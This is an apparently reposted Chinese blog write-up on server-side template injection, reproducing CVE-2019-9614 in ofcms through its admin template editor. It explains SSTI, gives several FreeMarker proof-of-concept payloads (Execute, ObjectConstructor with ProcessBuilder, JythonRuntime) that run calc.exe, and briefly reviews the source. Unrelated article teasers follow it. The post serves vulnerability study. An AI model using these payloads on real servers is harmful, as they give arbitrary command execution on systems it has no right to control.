从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞(freemarker模板)

https://www.cnvd.org.cn/flaw/show/CNVD-2019-08488
思路:
1、pom.xml的时候发现存在模版引擎freemarker
http://t.zoukankan.com/Eleven-Liu-p-12747908.html
2、寻找修改模版的地方
TemplateController.java
3、添加执行Payload
<#assign ex=“freemarker.template.utility.Execute”?new()>${ ex(“calc”) }

壹   什么是SSTI漏洞

SSTI:Server Side Template Injection   服务器端模板注入漏洞

既然是注入漏洞,那么它所运用的核心思想就和XSSSQL注入差不多,都是运用不安全的用户输入,将正常的数据接收处进行恶意输入,导致服务器将用户输入数据当成代码并执行,从而完成一些危险的行为

我们针对SSTI来看,他的主要载体是web站点MVC架构之上,也就是从用户可控的服务器模板代码处进行注入

经典MVC模式中,M是指业务模型,V是指用户界面,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。

MVC框架将用户输入通过V传给C,由控制器C进行甄别分发,看是传递给M或者是其他的C,最后将服务器返回的数据值传递给V,最后由服务器进行渲染最终返回给浏览器,呈现在用户面前;

我们这里通过控制恶意的数据传递给V,V传递到后面进行一系列的处理最终吧黑客想要的结果返回;

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

这里贴一张图,展示了常见语言的常见模板框架,以及其基本语法格式:

口说无凭,下面我们来看看ofcms中存在的SSTI漏洞

 

 

 

贰   CVE-2019-9614漏洞复现

CVE官网链接:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9614

先登录进ofcms的后台admin管理界面;然后再模板文件中课编辑Freemarker的模板代码(这想想就....实在是不安全);随机挑选一个幸运页面,进行payload注入;

Payload:<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

然后从前台进入该页面(联系我们)

于是便完成了系统命令执行的操作:

 

 

 

 

叁   ofcms的freemarker模板源码简要分析

我们从项目的pom.xml文件中可以得知,该项目使用了Freemarker 2.3.21版本

该模板管理功能界面源码为 /ofcms-admin/src/main/java/com.ofcms.cms/admin/cms/TemplateController.java

从源码中可以看到该功能支持freemarker模板文件的热处理,编辑保存等功能

我们来看模板目录:

与其一一对应的是.../webapp/WEB-INF/page/default/下的html文件

但是我们在网页端进行实时模板更改的时候,后台网页文件并不会有变化,这里应该是作者在freemarker框架上二次开发了一个热处理功能从而可以进行模板编辑;作者还是很牛逼的,ofcms整个系统架构逻辑严密,分工明确,功能也十分得强大,就是在某些小地方的疏忽倒是存在不安全的因素(其实大部分的不安全因素都可以通过部署waf来缓解,从而进行治标不治本的操作)

 

 

 

肆   小结

SSTI漏洞的应用常见十分的多元化,甚至可以在XFF头部注入中进行利用;大多数的语言开发框架都会使用模板进行快速开发,以减少开发周期,开发时间提高开发效率;但是安全和方便是两个水火不容的东西,要想安全便只能舍弃快捷,反之亦然;

网上大多数的SSTI漏洞描述都是基于php的PHPthink框架进行的,这里贴几个java的freemarker开发框架SSTI的POC:

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}                  //本漏洞POC

 

 

参考博客:

http://lanbainan.cn/2020/05/20/2020-05-20/

https://www.cnblogs.com/bmjoker/p/13508538.html

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358055.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

集合中的可选

有时有人认为Optional类型值得在集合中使用。 据称&#xff0c;它解决了以下问题&#xff1a; HashMap在没有键映射以及值null映射到键的情况下返回null 。 如果使用Map<Optional<Something>>则可以清楚地区分缺少的映射和缺少的值。 这样一来&#xff0c;您在兔子…

当你不知道今天星期几,不妨在编辑器写下这段代码

背景:最近加班比较严重,天天废寝忘食的写代码,不知春夏,看看今天星期几啦,实现方式很多,下面演示一下switch的方式 html: <!DOCTYPE html> <html><head><meta charset="utf-8"><title>孙叫兽测试switch语句</title></…

05.html学习-表单

表单标签&#xff1a; 表单标签的作用是用于提交数据给服务器的。 表单标签的根标签是<form>标签常用的属性&#xff1a; action: 该属性是用于指定提交数据的地址。 method&#xff1a; 指定表单的提交方式。 get : 默认使用的提交方式。 提交的数据会显示在地址栏上。 …

在Log4j2中更好地执行非日志记录器调用

使用Log4j 1.x并希望避免在某些情况下可能会造成额外的性能影响&#xff08;即使实际上未记录该消息&#xff09;时&#xff0c;通常使用日志记录防护 。 Java的简单日志记录外观 &#xff08; SLF4J &#xff09;带给Java日志记录的最吸引人的功能之一是能够减少需要进行这些日…

javaScript学习笔记之运算符

运算符 = 用于赋值。用于给 JavaScript 变量赋值。 运算符 + 用于加值。算术运算符 + 用于把值加起来。 下面展示了算术运算符及赋值运算符: <!DOCTYPE html> <html><head><meta charset="utf-8" /><title>孙叫兽测试运算符</…

编写高质量代码-OC 第7章 设计模式与Cocoa编程

45、设计模式是特定环境下的特定问题的解决方案46、MVC模式是一种复合或聚合模式47、对象建模在数据库中也广泛使用48、类簇可简化框架的公开架构而又不减少功能的丰富性 1、类簇基于抽象工厂设计模式2、类簇&#xff0c;可以用于隐藏实现的详细细节&#xff0c;为调用者提供一…

Goby反制复现

0x00 前言 最近复现Goby反制的时候遇到很多坑&#xff0c;记录一下反制过程以及遇到的坑点&#xff0c;还有世界上最强的黑客mux1ng帮我解决了很多问题。 0x01环境 攻击机&#xff1a; windows10 Goby1.8.230 172.20.10.3反制机&#xff1a; Windows7 Phpstudy2016 172.20.…

测试双重图案

前段时间&#xff0c;我写了一篇有关使用Test Double的后果的文章&#xff0c;但是与Test Double Patterns无关&#xff0c;仅是一个简单的清单。 今天&#xff0c;我想对其进行更改&#xff0c;并解释这些模式之间的差异。 正如我在提到的文章中写道&#xff1a; Test Doubl…

javaScript学习笔记之比较运算符||逻辑运算符||条件运算符(三目运算符)

比较运算符在逻辑语句中使用,以测定变量或值是否相等。 逻辑运算符用于测定变量或值之间的逻辑。 javaScript基于某些条件对变量进行赋值的条件运算符(三目运算符)。 HTML: <!DOCTYPE html> <html> <head><meta charset="utf-8"><title…

类的依赖注入

http://www.360doc.com/content/14/0421/09/10504424_370757998.shtml转载于:https://www.cnblogs.com/changbaishan/p/4949225.html

JDK 9:模块系统状态的重点

马克雷因霍尔德 &#xff08; Mark Reinhold &#xff09;的“模块系统状态 &#xff08;SOMS&#xff09;”已于本月初发布&#xff0c;它提供了信息丰富的可读性“对项目Jigsaw中原型的Java SE平台进行了增强的非正式概述&#xff0c;并被提议作为JSR 376的起点。” 在这篇文…

fckeditor漏洞_三十,文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御

一.编辑器漏洞 1.编辑器 编辑器属于第三方软件&#xff0c;它的作用是方便网站管理员上传或编辑网站上的内容&#xff0c;类似我们电脑上的Word文档。 编辑器通常分为两种情况&#xff1a; (1) 不需要后台验证&#xff0c;可以直接在前台访问且操作。通过方法找到编辑器&#x…

java学习笔记之条件语句(if...else)

条件语句用于基于不同的条件来执行不同的动作。 通常在写代码时,您总是需要为不同的决定来执行不同的动作。您可以在代码中使用条件语句来完成该任务。 在 JavaScript 中,我们可使用以下条件语句: if 语句 - 只有当指定条件为 true 时,使用该语句来执行代码if...else 语句 …

iOS 学习之NSPredicate

电话号码验证表达式 (BOOL)validateMobile:(NSString *)mobileNum { /** * 手机号码 * 移动&#xff1a;134[0-8],135,136,137,138,139,150,151,157,158,159,182,187,188 * 联通&#xff1a;130,131,132,152,155,156,185,186 * 电信&#xff1a;133,1349,153,180,189 */ NSStr…

javaScript学习笔记之break 和 continue 语句对比

break 语句用于跳出循环。 continue 用于跳过循环中的一个迭代。 break 语句可用于跳出循环。 break 语句跳出循环后,会继续执行该循环之后的代码(如果有的话): continue 语句中断循环中的迭代,如果出现了指定的条件,然后继续循环中的下一个迭代。 代码: <!DOCTYPE …

畅捷通T+任意文件上传(CNVD-2022-60632 )漏洞复现

一、漏洞描述 2022年8月29日和8月30日&#xff0c;畅捷通公司紧急发布安全补丁修复了畅捷通T软件任意文件上传漏洞。未经身份认证的攻击者利用该漏洞&#xff0c;通过绕过系统鉴权&#xff0c;在特定配置环境下实现任意文件的上传&#xff0c;从而执行任意代码&#xff0c;获得…

Spring 3使用JUnit 4进行测试– ContextConfiguration和AbstractTransactionalJUnit4SpringContextTests...

在Internet上寻找一种测试我的Spring 3应用程序的方法&#xff0c;我找到了许多描述如何使用JUnit测试应用程序的文章。 它们中的大多数都是不完整的示例&#xff0c;实际上并不起作用。 在这篇文章中&#xff0c;我将尝试填补这一空白&#xff0c;并撰写一篇简洁而简单的文章&…

RecyclerView滑动到底部自动加载

你经常听到“上拉加载”这样的字眼吗&#xff1f;你知道这个功能是怎么实现的吗&#xff1f;这篇文章记录了我对“上拉加载”的实现&#xff0c;与大家一起分享。 “上拉加载”针对的是RecyclerView或者Listview这样的列表控件&#xff08;本文以RecyclerView为例&#xff09;&…

javaScript学习笔记之typeof, null, 和 undefined之间的对比

typeof 操作符 你可以使用 typeof 操作符来检测变量的数据类型。 null 在 JavaScript 中 null 表示 "什么都没有"。 null是一个只有一个值的特殊类型。表示一个空对象引用。 undefined 在 JavaScript 中, undefined 是一个没有设置值的变量。 typeof 一个没有值的变量…

不喜欢节流吗?

您别无选择–基础系统&#xff08;此处的JVM将为您完成此选择&#xff09;。 我仍然记得2013年夏天&#xff0c;当时我正在运行一个项目&#xff0c;整个应用程序中只有1个URL使服务器瘫痪。 问题很简单-机器人决定以很高的速率索引我们的网站&#xff0c;并且该机器人正在创建…